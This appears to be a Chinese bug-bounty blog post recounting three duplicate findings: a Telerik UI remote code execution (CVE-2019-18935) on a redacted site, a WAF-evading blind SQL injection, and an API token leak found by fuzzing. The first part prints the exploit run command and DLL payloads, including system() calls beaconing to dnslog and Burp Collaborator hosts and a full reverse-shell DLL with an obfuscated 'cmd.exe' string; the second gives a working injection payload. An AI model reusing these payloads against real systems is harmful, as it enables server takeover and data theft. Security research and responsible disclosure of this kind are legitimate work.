web漏洞挖掘随笔

  最近挖了一些漏洞。虽然重复了,但是有参考价值。这边给大家分享下。

  漏洞重复还是很难受的,转念一想,人生从不是事事如人意的,漏洞重复忽略,不代表失败。先来后到很重要,出场顺序很重要。

  1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我

  测试域名:https://***.***:8089/

  同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞

  漏洞利用exp下载地址:

  https://github.com/noperator/CVE-2019-18935
  https://github.com/noperator/CVE-2019-18935.git

  延迟11s:sleep 11s:

  测试代码: test.c

  

#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        //Sleep(10000);  // Time interval in milliseconds.
        Sleep(11000);
    return TRUE;
}


test.c编译成amd642.dll文件

 

运行:
python CVE-2019-18935.py -v 2017.1.228 -p payloads\amd642.dll -u https://***.****:8089/Telerik.Web.UI.WebResource.axd?type=rau

 

 

 

 

  

 

 

 

 第一步验证成功,成功延迟11s左右,原始请求2s

  测试命令执行:

  

#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        system("cmd.exe /c nslookup rsmwe.dnslog.cn");
system("cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net");
    return TRUE;
}

test.c编译成amd642.dll文件

 

 

再次运行查看dnslog:

 

 

 

 

 

 

直接反弹shell,通用exp:

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "{vps ip}"
#define PORT {port}

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    
    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);
    
    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}

 

权限不低,是域用户:

 

 

 

  2.sql注入:

   背景介绍:朋友发来一个注入,这个注入还挺棘手的,有xx云的waf,并且后端过滤了逗号,单双引号以及常规函数等。  

  我的思路很简单,十六进制。regexp函数即可,我觉得应该还有别的思路

(case+when+current_user+regexp+0x*+then+1+else+2*1e308+end)

  这样就把数据库user搞出来了。

  这里我想说下case when这个语句,case when语句比我们想象的要灵活的多,这里做下笔记说下:

  最常见的:

  

 

 

  说点不常见的,我写两个demo,可以一直套娃下去:

case 1=1 when 2=2 then 1=1 else 1/0 end

 

 

 

 

  

 

 

 

 

 

  

 

 

 

 

 

  3.url跳转+身份认证token泄漏:

  我昨天晚上挖的,忽略理由是重复。有时候对某些厂商还挺无语的,漏洞在那边,不修复。让我有种错觉,发现漏洞,有种踩到蜜罐的错觉。

  资产范围是:vc-*.xxx.com

  其实遇到这种范围,我还挺开心的,因为我可以Fuzz下,简单Fuzz了下,发现不少资产。

  挨个打开看,访问:vc-ss.xxx.com,访问站点,直接跳转要求登录。

  我不是神仙,我也没账号,我看着js,没发现可访问的路径信息。

  开始fuzz,知道是php就很好办了。使用ffuf跑php/api字典,跑到了一个接口开发文档/api/***.html

  接口开发文档设计本意是好的,但是大多数的接口开发文档上的截图信息/接口信息都可能有被二次漏洞利用风险。虽然截图信息都是明文,但是很不幸的是测试了下,发现几乎所有的接口,直接访问都是401,需要身份认证。些许无奈了,想放弃的时候,总是告诉自己,坚持看完看仔细。继续盯着接口文档一直翻来翻去,发现了一个身份token泄漏和其他一些安全漏洞。

  整理漏洞提交了,早上就收到了重复的消息:

  

 

 

 

  没什么可说的,收拾收拾心情重新上路了~

 

  

 

 

        

 

 

 

   

 
posted @ 2023-02-17 16:43  飘渺红尘✨  阅读(1295)  评论(4编辑  收藏  举报
Title